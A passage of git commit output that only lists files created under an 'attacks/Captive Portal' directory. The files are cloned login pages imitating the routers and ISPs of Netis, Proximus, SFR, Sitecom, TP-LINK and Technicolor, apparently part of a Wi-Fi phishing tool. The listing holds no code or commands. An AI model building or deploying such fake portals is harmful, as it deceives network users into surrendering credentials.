Portal/sites/Netis_it.portal/images/left_031.html create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/link.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/logo_netis.png create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/images/top_right_bg.gif create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/index.html create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/action.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/config.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/debug.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/init.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/language_it.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/language_us.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/logic.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/menu.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/netcore.js create mode 100644 attacks/Captive Portal/sites/Netis_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/Popover requires tooltip.html create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/bootstrap.min.css create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/proximus.css create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/proximus_font.css create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Bold.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Bold.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Bold.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Bold.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-BoldItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-BoldItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-BoldItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-BoldItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-BoldItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Boldd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Light.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Light.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Light.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Light.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-LightItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-LightItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-LightItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-LightItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-LightItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Lightd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Regular.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Regular.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Regular.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Regular.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-RegularItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-RegularItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-RegularItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-RegularItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-RegularItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/css/type/Proximus-Regulard41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.svg create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regular.woff create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/fonts/glyphicons-halflings-regulard41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/AV_Console_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Game_console_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/LAN_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/NAS_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Network_Access_point_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/PLC_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Printer_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/TV_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Tablet_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/USB_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/Wifi_Bridge_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/access_control_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-down1_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right-hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-right.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/arrow-up1_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/close.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/down-arw.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/ethernet.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/header_bg.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/help_disabled.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/intercept_title.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/login_help_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/login_title.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/logo.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/logout.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/mobile_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/modal_close.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/my_modem_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_black.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/network_connectivity_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/pc_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/popup_tab_border.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/profile.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_loggedout.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/profile_settings.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/select_arrow.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/settings.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_black.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/settings_white.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/telephone_icon_disable.html create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/up-arw.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/user_data.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_bridge_repeater_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_fivepzeo_ghz.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/img/wifi_twopfour_ghz.png create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Proximus_fr.portal/js/jquery.min.js create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/Popover requires tooltip.html create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/bootstrap.min.css create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/proximus.css create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/proximus_font.css create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Bold.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Bold.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Bold.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Bold.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-BoldItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-BoldItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-BoldItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-BoldItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-BoldItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Boldd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Light.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Light.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Light.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Light.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-LightItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-LightItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-LightItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-LightItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-LightItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Lightd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Regular.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Regular.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Regular.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Regular.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-RegularItalic.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-RegularItalic.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-RegularItalic.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-RegularItalic.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-RegularItalicd41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/css/type/Proximus-Regulard41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/error.html create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/final.html create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/fonts/glyphicons-halflings-regular.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/fonts/glyphicons-halflings-regular.svg create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/fonts/glyphicons-halflings-regular.ttf create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/fonts/glyphicons-halflings-regular.woff create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/fonts/glyphicons-halflings-regulard41d.eot create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/AV_Console_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/AV_Console_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Game_console_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Game_console_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/LAN_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/LAN_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/NAS_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/NAS_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Network_Access_point_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Network_Access_point_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/PLC_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/PLC_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Printer_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Printer_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/TV_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/TV_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Tablet_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Tablet_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/USB_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Wifi_Bridge_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/Wifi_Bridge_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/access_control.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/access_control_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-down1.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-down1_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-right-hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-right.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-up1.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/arrow-up1_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/close.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/down-arw.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/ethernet.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/header_bg.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/help_disabled.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/intercept_title.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/login_help.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/login_help_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/login_title.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/logo.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/logout.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/mobile_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/mobile_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/modal_close.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/my_modem.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/my_modem_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/network_connectivity.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/network_connectivity_black.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/network_connectivity_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/pc_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/pc_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/popup_tab_border.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/profile.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/profile_hover.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/profile_loggedout.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/profile_settings.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/select_arrow.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/settings.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/settings_black.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/settings_purple.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/settings_white.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/telephone_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/telephone_icon_disable.html create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/up-arw.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/user_data.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/wifi_bridge_repeater_icon.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/wifi_bridge_repeater_icon_disable.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/wifi_fivepzeo_ghz.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/img/wifi_twopfour_ghz.png create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/index.html create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Proximus_nl.portal/js/jquery.min.js create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/css/common.css create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/css/menuneufbox.css create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/css/reset.css create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/css/wifi.css create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/error.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/final.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/aide.jpg create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_add.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_add_hover.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_edit.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_edit_hover.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_generate.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_generate_hover.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_network.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_network_hover.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_remove.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_remove_hover.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_submit_left.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_submit_left_disabled.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_submit_right.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/button_submit_right_disabled.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/header_background.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/header_logo.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/help_background.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_anim_loading.gif create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_close.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_disabled.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_enabled.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_error.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_info.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_unused.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/icon_warning.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/menu_background.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_menu_off.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_menu_on.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_submenu_left_off.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_submenu_left_offd.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_submenu_left_ond.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_submenu_right_off.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/img/tab_submenu_right_on.png create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/index.html create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/js/global.js create mode 100644 attacks/Captive Portal/sites/SFR_fr.portal/js/wifi.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/css/main.css create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/css/style.css create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/download.htm create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav_hover.jpg create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/body_background.jpg create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/content_background.jpg create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/favicon.ico create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/header.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/logo.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft.gif create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/maintableft_over.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright.gif create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/maintabright_over.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/menu_bg.gif create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/img/seperator.png create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/index.htm create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap-submenu.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/bootstrap.min.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/getlanguage.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/main-include.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/script.asc create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/js/setlanguage.js create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/status.html create mode 100644 attacks/Captive Portal/sites/Sitecom_it.portal/status_deviceinfo.html create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.css create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/bootstrap.min.js create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/error.html create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/final.html create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/index.html create mode 100755 attacks/Captive Portal/sites/TP-LINK_en.portal/jquery.min.js create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/css/main.css create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/css/update.css create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/col_hide.gif create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/col_show.gif create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/icon.jpg create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/top1_1.jpg create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/top1_2.jpg create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/top2.jpg create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/img/top_bg.jpg create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/index.htm create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/js/jquery-2.1.4.min.js create mode 100644 attacks/Captive Portal/sites/TP-LINK_it.portal/js/pBar.js create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap-theme.css create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap-theme.css.map create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap-theme.min.css create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap-theme.min.css.map create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap.css create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap.css.map create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap.min.css create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/bootstrap.min.css.map create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/css/custom.css create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/fonts/glyphicons-halflings-regular.eot create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/fonts/glyphicons-halflings-regular.svg create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/fonts/glyphicons-halflings-regular.ttf create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/fonts/glyphicons-halflings-regular.woff create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/fonts/glyphicons-halflings-regular.woff2 create mode 100644 attacks/Captive Portal/sites/Technicolor_en.portal/images/logo.png create mode 100644 attacks/Captive 